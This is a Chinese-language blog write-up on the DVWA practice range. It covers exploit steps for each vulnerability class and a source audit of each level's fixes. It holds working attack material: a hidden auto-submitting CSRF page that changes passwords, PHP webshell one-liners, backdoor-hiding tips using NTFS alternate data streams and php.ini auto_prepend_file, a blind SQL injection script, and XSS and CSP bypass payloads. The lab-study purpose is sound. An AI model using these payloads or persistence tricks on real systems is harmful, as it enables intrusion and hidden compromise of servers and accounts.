[从DVWA学到了什么]

Time: 2021-3-8

Author: badbird

---

low级别-漏洞利用扩展知识

Brute Force

学习一下python的爆破脚本，逻辑挺简单的。

Command Injection

- 没有过滤用户输入，使用调用系统命令的模块
- shell_exec()、exec()、system()、passthru()
- 注意“安全模式”对以上函数使用的影响

这儿有一个总结的比较好的文章其中需要注意的一处就是“ | ” linux有点不一样

command1 | command2
“|”是管道符，如果command有输出的话，将Command 1的输出作为Command 2的输入，并且只打印Command 2执行的结果。

CSRF

利用了自己的博客网站，成功使DVWA管理员在不知情的情况下更改密码

```
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CsrfTest</title>
</head>
<body>
    <iframe id="iframe_display" name="iframe_display" style="display: none;">
</iframe>
    <form id='CsrfTestForm' action="http://localhost/vulnerabilities/csrf/"
target="iframe_display" method="GET">
        <input type="hidden" autocomplete="off" name="password_new"
value="passwd"><br>
        <input type="hidden" autocomplete="off" name="password_conf"
value="passwd"><br>
        <input type="hidden" value="Change" name="Change">
    </form>
    <script type="text/javascript">
        var csrfform = document.getElementById('CsrfTestForm');
        csrfform.submit();
    </script>
</body>
</html>
<!-- 除了使用<iframe>之外，还可以用<script src="">、<img src=""> ->
```

注意：action设置的是localhost

这段代码向启动有DVWA且安全等级为low的本地主机自动提交隐藏的表单，使之修改当前DVWA用户的密码为”passwd“，而且配合了<iframe>标签做到了**避免form提交进行的页面跳转。**

因为简易的博客网站写文章处并未处理过滤非代码块的html标签（所以也有xss）直接将上述代码写入文章，发表即可。网站页面不会显示代码。

修改 文章

标题: Test

正文:

```
csrf测试
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=
    <title>CsrfTest</title>
</head>
<body>
    <iframe id="iframe_display" name="iframe_display" style="display:
    <form id='CsrfTestForm' action="http://localhost/vulnerabilities/
        <input type="hidden" autocomplete="off" name="password_new" v
        <input type="hidden" autocomplete="off" name="password_conf"
        <input type="hidden" value="Change" name="Change">
    </form>
    <script type="text/javascript">
        var csrfform = document.getElementById('CsrfTestForm');
        csrfform.submit();
    </script>
```

网站主页显示:

当我用另一台安装有DVWA且已经本地登录了的主机访问这篇文章时，密码就会悄无声息地被更改。

- 这里还可以学习一下同源策略

File Include

- 可以配合文件上传漏洞getshell
- 常见的包含函数：include、require、include_once、require_once、highlight_file、show_source 、readfile 、file_get_contents 、fopen 、file
- 形如 ?page=
- 可以在url后写上php代码，通过burpsuit改包将语法格式改对，这样apache的日志中就会出现php的代码，可以通过包含日志文件（自动执行嵌入其中的php代码）拿到webshell （未复现）
- 使用php://input

```
<?php fwrite(fopen('x.php','w'),'<?php eval($_POST["pw"])?>')?>
```

$_POST[参数]内 双引号改成单引号就会报错。应该是不恰当的闭合导致的。需要转义

```
<?php fwrite(fopen('x.php','w'),'<?php eval($_POST[\'pw\'])?>')?>
```

一句话代码也必须是被单引号包裹。 ***（为什么双引号不行呢）***

- php://filter/read=convert.base64-encode/resource=想要包含的文件
- data://text/plain;base64,数据的Base64编码
- zip:///filename_path#internal_filename其中filename_path是恶意文件internal_filename的路径，也是恶意文件在已处理ZIP文件中的放置路径
- file:///PATH

github有人总结的各协议用法

后门隐藏小tips

- attrib +s +h 文件 创建的是系统级的隐藏文件，以win7为例，需要勾选 显示隐藏文件 和 取消勾选 隐藏受保护的操作系统文件 才能在资源管理器中看到文件。
- ADS，Alternate Data Streams 交换数据流，是NTFS磁盘格式的一个特性，在NTFS文件系统下，每个文件都可以存在多个数据流。通俗的理解，就是其它文件可以“寄宿”在某个文件身上，而在资源管理器中却只能看到宿主文件，找不到寄宿文件。利用ADS数据流，我们可以做很多有趣的事情。(抄的)

```
echo ^<?php eval($_POST["wq"]);?^> > index.php:shell.jpg
```

这样就生成了一个不可见的index.php:shell.jpg文件（前提index.php是正常文件）

使用dir /r可以看见

- 向include_path目录（没有就创建）下放置木马，这样可以全局包含。
- 不死马
- php.ini后门：

  用到auto_prepend_file=这个设置项，只要是php文件就会加载php.ini⑧，php.ini立马写个木马那就无论在哪都能连了。

```
auto_prepend_file="data:;base64,一句话木马的base64编码"
```

File Upload

暂时知道的就只有

- 直接上传
- 加后缀
- 改Content-Type为允许的类型
- 先上传.htaccess，指定某文件采用哪种解析方式。

```
<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>
```

SQL Injection

NOTHING TO TELL

盲注脚本，二分法贴一个：

```
#本脚本是做别的靶场写的，放在这只是为了展示一下编写思路。改改就能用。
import requests

session = requests.session()
header = {
    "User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0"
}
url = "https://hackme.inndy.tw/login1/"
check = "You are not admin!"
result = ""
```

```
for i in range(10):
    print("[+]...Testing whole " + str(i + 1))
    for j in range(70):
        high = 127
        low = 32
        mid = (low + high) // 2
        print("    [*]...testing each " + str(j + 1))
        while high > low:
            payload_tables =
"\\'or/**/ascii(substr((select/**/table_name/**/from/**/information_schema.table
s/**/where/**/table_schema=\"login_as_admin1\"/**/limit/**/%d,1),%d,1))>%d#" %
(i, j + 1, mid)
            payload_columns =
"\\'or/**/ascii(substr((select/**/column_name/**/from/**/information_schema.colu
mns/**/where/**/table_name=\"0bdb54c98123f5526ccaed982d2006a9\"/**/limit/**/%d,1
),%d,1))>%d#" %(i, j + 1, mid)
            payload_getflag =
"\\'or/**/ascii(substr((select/**/group_concat(4a391a11cfa831ca740cf8d00782f3a6)
/**/from/**/0bdb54c98123f5526ccaed982d2006a9),%d,1))>%d#" %(j, mid)
            data = {
                "name":payload_getflag,
                "password":123
            }
            response = session.post(url, data=data, headers=header).text
            if check in response:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        #print("this mid is == %d" %mid)
        if mid == 32 and i != 0 and j != 0:
            if result[-1] == ',':
                exit()
            result += ','
            break
        result = result + chr(mid)
        print("      Now Had: " + result)
        if result[-1] == '}':
            print("[√]the flag is: " + result)
            exit
```

Weak Session IDs

- 生成有规律可以被猜到
- 比较严谨一点的就拼接时间戳、凭借hmac签名
- Session中也有包括用户信息比如用户名和权限组的，这个时候如果session可以伪造篡改就能完成一些认证。

XSS

- 闭合标签
- <img>出错

```
<img src=x onerror=alert('XSS')>
```

- 双写嵌套

```
<sc<script>ript>alert('XSS')</script>
```

- input

```
<input onclick=alert('XSS') />
```

CSP Bypass

IE浏览器下可以做，chrome内核的浏览器都试了一下不行。

是chrome中，添加了nonce就会忽略'unsafe-inline'详见官方

更多疑问这里可能会找到

内容安全策略（CSP）使服务器管理员可以通过指定浏览器应认为是可执行脚本的有效源的域来减少或消除XSS可能发生的向量。然后，兼容CSP的浏览器将仅执行从这些允许列出的域接收的源文件中加载的脚本，忽略所有其他脚本（包括内联脚本和事件处理HTML属性）。
除了限制可以从中加载内容的域之外，服务器还可以指定允许使用哪些协议; 例如（理想情况下，从安全角度来看），服务器可以指定必须使用HTTPS加载所有内容。完整的数据传输安全策略不仅包括强制HTTPS进行数据传输，还包括使用安全标记标记所有cookie，并提供从HTTP页面到其HTTPS对应项的自动重定向。站点还可以使用Strict-Transport-SecurityHTTP标头来确保浏览器仅通过加密通道连接到它们。

两种方法可以启用 CSP。
一种是通过 HTTP 头信息的Content-Security-Policy的字段。例如

```
Content-Length: 4288
Content-Security-Policy: script-src 'self' https://pastebin.com  example.com code.jquery.com https://ssl.google-ana
lytics.com ;
```

一种是通过网页的标签

```
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-
src 'none'; style-src cdn.example.org third-party.org; child-src https:">

//其中，content字段为配置选项，看起来还是比较好理解的。
共有如下选项限制资源加载：（相对重要一点的加了*）
**script-src：外部脚本
*style-src：样式表
img-src：图像
media-src：媒体文件（音频和视频）
font-src：字体文件
object-src：插件（比如 Flash）
*child-src：框架
*frame-ancestors：嵌入的外部资源（比如<frame>、<iframe>、<embed>和<applet>）
connect-src：HTTP 连接（通过 XHR、WebSockets、EventSource等）
worker-src：worker脚本
manifest-src：manifest 文件

其他限制：
frame-ancestors：限制嵌入框架的网页
base-uri：限制<base#href>
form-action：限制<form#action>
*block-all-mixed-content：HTTPS 网页不得加载 HTTP 资源（浏览器已经默认开启）
*upgrade-insecure-requests：自动将网页上所有加载外部资源的 HTTP 链接换成 HTTPS 协议
```

```
plugin-types：限制可以使用的插件格式
*sandbox：浏览器行为的限制，比如不能有弹出窗口等。
```

CSP是一种白名单制度，实现和执行全部由浏览器完成，开发者只需提供配置。CSP大大增强了网页的安全性。攻击者即视发现了漏洞，也没法注入脚本，除非还控制了一台列入了白名单的可信主机。

- 配合CSRF钓鱼伪代码

```
<form action=”./vulnerabileties/csp/“ methos="POST" id="csp">
    <input xxx>
</form>
<script>
    设置form变量指向csp表单
    将含有恶意代码的网页写入<input>的value    //form[0].value="https://xxx"
    form.submit();
</script>
```

- 关于限制选项script-src还有如下特殊值
- unsafe-inline：允许执行页面内嵌的<script>标签和事件监听函数
- unsafe-eval：允许将字符串当作代码执行，比如使用eval、setTimeout、setInterval和Function等函数
- nonce：每次HTTP回应给出一个授权 token，页面内嵌脚本必须有这个 token，才会执行
- hash：列出允许执行的脚本代码的 Hash值，页面内嵌脚本的哈希值只有吻合的情况下，才能执行

阮一峰的博客讲解的比较全面，参考链接第一条

JavaScript

开发者工具真是个好东西

学会F12 浏览器加断点调试、改变量、console执行js代码

审计源码-逐级的修复方案

自备源码

Brute Force

- low.php：

    登录验证只是获取了用户名密码看数据库中是否能查到，而没有采取任何的验证措施，这就给爆破提供了机会。这种登录验证，只要字典足够强大，没有进不去的系统。

    查询语句之前也没有对参数进行任何处理，这使得SQL注入成为了可能。admin'-- (但是好像只有万能密码可以，(sqlmap可以做到爆破（但是爆不出来库名...直接用dvwa爆表了），可以研究一下原因))

- medium.php:

    获取用户名密码后都用mysqli_real_escape_string()处理了一下，很明显是防止sql注入的。

    ```
    mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user )
    ```

但是这个函数也有被绕过的风险：当数据库采用宽字节编码时，即设置set character_set_client = GBK，可以采用%df(ascii码大于128)吃掉%5c反斜杠从而使单引号%27逃逸。这个过程发生在MYSQL查询之前，按照上述设置的字符集进行了一次编码，从而使MYSQL接收到的查询语句中单引号未被转义。

而在登录验证方面，只是在登录失败时sleep(2)，仅仅增加了一点爆破的时间而已。

- high.php:

```
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php'
);
```

checkToken()函数提供了令牌检测机制，Token有关函数定义在dvwaPage.inc.php

基于时间生成的token存到了$_SESSION['session_token']中,而tokenField()所做的就是同步user_token和session_token，以此来阻止爆破中的数据包重放。这样做看起来已经很严格了，**但是每次生成的token都被tokenField()放入了页面的一个<input>中**(应该是给题目留线索)，这样就可以先正则匹配获取token，再将token代入user_token就可以正常爆破了。

impossible.php的补漏方案

- 传参方式从GET改为了POST
- 增加了登录失败次数限制，失败超过3次账户被锁定15分钟，爆破就是比寿命了。
- 数据库查询使用了prepare的方式，杜绝了SQL注入。

Command Injection

- low.php:

  用户可控的变量直接拼接到命令执行函数，简直就是敞开了大门。

- medium.php:

  设置了黑名单，但只过滤了两种，还可以用别的。

- high.php:

  high级别的代码都比较幽默，黑名单乍一看是写全了，但...

  ```
  '| ' => '',不用空格不就行了。
  ```

impossible.php的补漏方案

- 增加了token（对命令执行漏洞有什么影响呢？防fuzzing⑧）
- stripslashes()返回一个去除转义反斜线后的字符串（\'转换为 ' 等等）。双反斜线（\\）被转换为单个反斜线（\）。 关于反斜线的作用在本文第一部分提到的那篇文章中有讲解。
- 使用了is_numeric()，相当于设置了白名单，只允许点分的数字输入。这比使用黑名单要好多了，黑名单总是会被xx。

CSRF

- low.php:

  只有三个GET型的参数，没有任何验证机制。

- medium.php:

  限制可执行更改密码操作的域

检查了HTTP_REFERER字符串是否包含SERVER_NAME字符串，其目的是让修改密码这个操作只能在搭建DVWA的本地进行，但是referer是可以伪造的：1.手动改包；2.目录混淆，将csrf.html放到攻击者服务器的一个与DVWA域名同名的目录下；3.文件名混淆，改为 <DVWA的域名>.html；4.拼接混淆，直接在URL后拼接 ?<DVWA的域名>

- high.php:

  增加了token验证，但是配合XSS漏洞可以获取token，也是需要写一个js脚本来完成攻击。

impossible.php的补漏方案

- 要求输入当前密码，比较主流。
- 其实还可以加安全的验证码来防御CSRF

File Inclusion

- low.php:

  所有的low级别都是无过滤、无处理直接拿来用的。之后都省去这一点。

- medium.php:

  使用str_replace函数想干掉远程文件包含和本地文件包含，但这个函数是极其不安全的，因为可以使用双写绕过替换规则。

  还有个小BUG，\是转义了“，并不能达到过滤..\的目的。

```
$file = str_replace( array( "../", "..\"" ), "", $file );
```

- high.php:

  这不算是逐级修补了，很明显就是只能用file:///协议，

impossible.php的补漏方案

- 白名单写死，无解

File Upload

- medium.php:

  限制了上传文件的类型和大小，抓包修改Content-Type即可。大小的限制可能是防止存储空间被占满⑧。

- high.php:

  白名单限制了后缀名，必须为图片的后缀，那还可以上传图片马配合文件包含解析图片马。如果直接存在解析漏洞都不用配合文件包含了。

impossible.php的补漏方案

- 使用md5(uniqid() . $uploaded_name)函数，uniqid()函数是一个基于时间的随机函数，但随机函数是个大难题，在一定条件下也是可以产生碰撞的，然后利用了md5()函数来保证随机的唯一性，而且由于md5()函数对上传的文件名进行了重命名，因此无法使用00截断的方式来上传php或者其他恶意脚本文件。
- 通过imagecreatefromjpeg()和imagecreatefrompng()函数重写图片，并将图片中的有害元数据抹除，因此即使用户上传了一张图片马也会被这个函数过滤成一个不含恶意代码的图片。
- imagedestroy()将用户上传的源文件删除。
- unlink($temp_file)删除过滤过程中产生的任何临时文件。

  堪称完美。

SQL Injection

盲注也仅仅是payload不一样。SQL注入大汇总

- medium.php:

  改用POST方式，SQL语句取消单引号，直接拼接。

  换汤不换药，POST型注入且不用单引号就轻松绕过了。

- high.php:

  使用$_SESSION获取值，不算防御吧。

  又把单引号拿回来了。。high级别的都挺奇怪的。输入框正常注入。

impossible.php的补漏方案

- 检测id是否为数字。
- 预处理，无解。

Weak Session IDS

- low.php

  session_id自增1，很容易被猜到，直接遍历。

- medium.php:

  利用time()生成dvwaSession的值，时间戳转换在线工具

  很奇怪的是，当前时间要刷新两次才才能在Cookies中看到对应的时间戳，应该是页面加载完毕后就立马又进行了一次计算但是当时显示的还是之前的时间戳。也就是说预存了一次时间戳用于下次页面的加载。

- high.php:

  相比于low.php中多了个MD5()处理自增的session_id而已，熟悉了一眼就能看出来那串字符是MD5处理后的。

impossible.php的补漏方案

- 拼接上随机数、时间戳、特定字符串，sha1不可逆加密，无解。

XSS

无非就是利用标签注入js代码，闭合其他标签注入。

- medium.php:

  只过滤了<script>但XSS不只能用<script>，str_replace之前说了，双写，大小写绕过。

- high.php:

  彻底过滤了<script>，但还可以用其他的标签。<img>,<input>等。

  DOM型XSS限制了default值不能变，但有个小tips就是可以用&连接一个自定义变量来绕过。也可以加#绕过（原理不详）URL中的#是位置标识符，#后面的字符不会发送到服务端。

impossible.php(反射型)的补漏方案

- htmlspecialchars()函数处理。在实际防御中，要注意不仅仅只用htmlspecialchars()就万事大吉了，其他地方该过滤过滤，该转码转码。因为如果它处理的变量是在一些标签，比如<input>或<script>内输出的时候，完全可以构造标签的属性进行突破。<script>中直接alert(1)
- 防御XSS就一点，做好过滤和转码。

CSP Bypass

- medium.php:

  增加了token，IE浏览器如下payload可以

```
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
```

- high.php:

  只允许引用self的资源，很苛刻。这一关可配合include弹窗。

impossible.php的补漏方案

- 写死。

JavaScript

- low.php:

  前端生成token，只有success和token值都符合才行。而页面加载完毕生成的token初始值是错的，需要修改，可以通过浏览器加断点动态调试，手动修改token计算时的phrase值为success，然后放行这样就得到了success匹配的token值，最后再修改phrase提交就可以了。

  更方便得到正确token的一种方法是控制台输入：

```
md5(rot13("success"));
```

- medium.php:

  分析medium.js很容易得到token的生成方式，检查元素手动修改并提交就可。

- high.php:

  js代码更复杂，但也是不难，按流程过一遍就知道了token的生成方式，token不正确的原因是输入框输入的success实际上并没有参与到token生成的计算代码中。浏览器监听鼠标事件，点击Submit后跳到token相关的函数的位置，给token_part_1("ABCD", 44);加断点，刷新，console手动给phrase赋值为success。

impossible.php的补漏方案

You can never trust anything that comes from the user or prevent them from messing with it and so there is no impossible level.

对web程序最完美的防护就是不给它任何的功能。

总结：

DVWA是一个经典的练习靶场，但靶场终究是靶场，所能展示的东西有限，提供的产生漏洞的代码和impossible的方案都比较单一，而实际上可能存在很多种方式，鉴于自身知识有限，本文也只是主分析加稍扩展，有点儿不一样的攻略而已，还是挺基础的。

参考链接：

http://www.ruanyifeng.com/blog/2016/09/csp.html

https://www.wuyini.cn/672.html#toc-head-30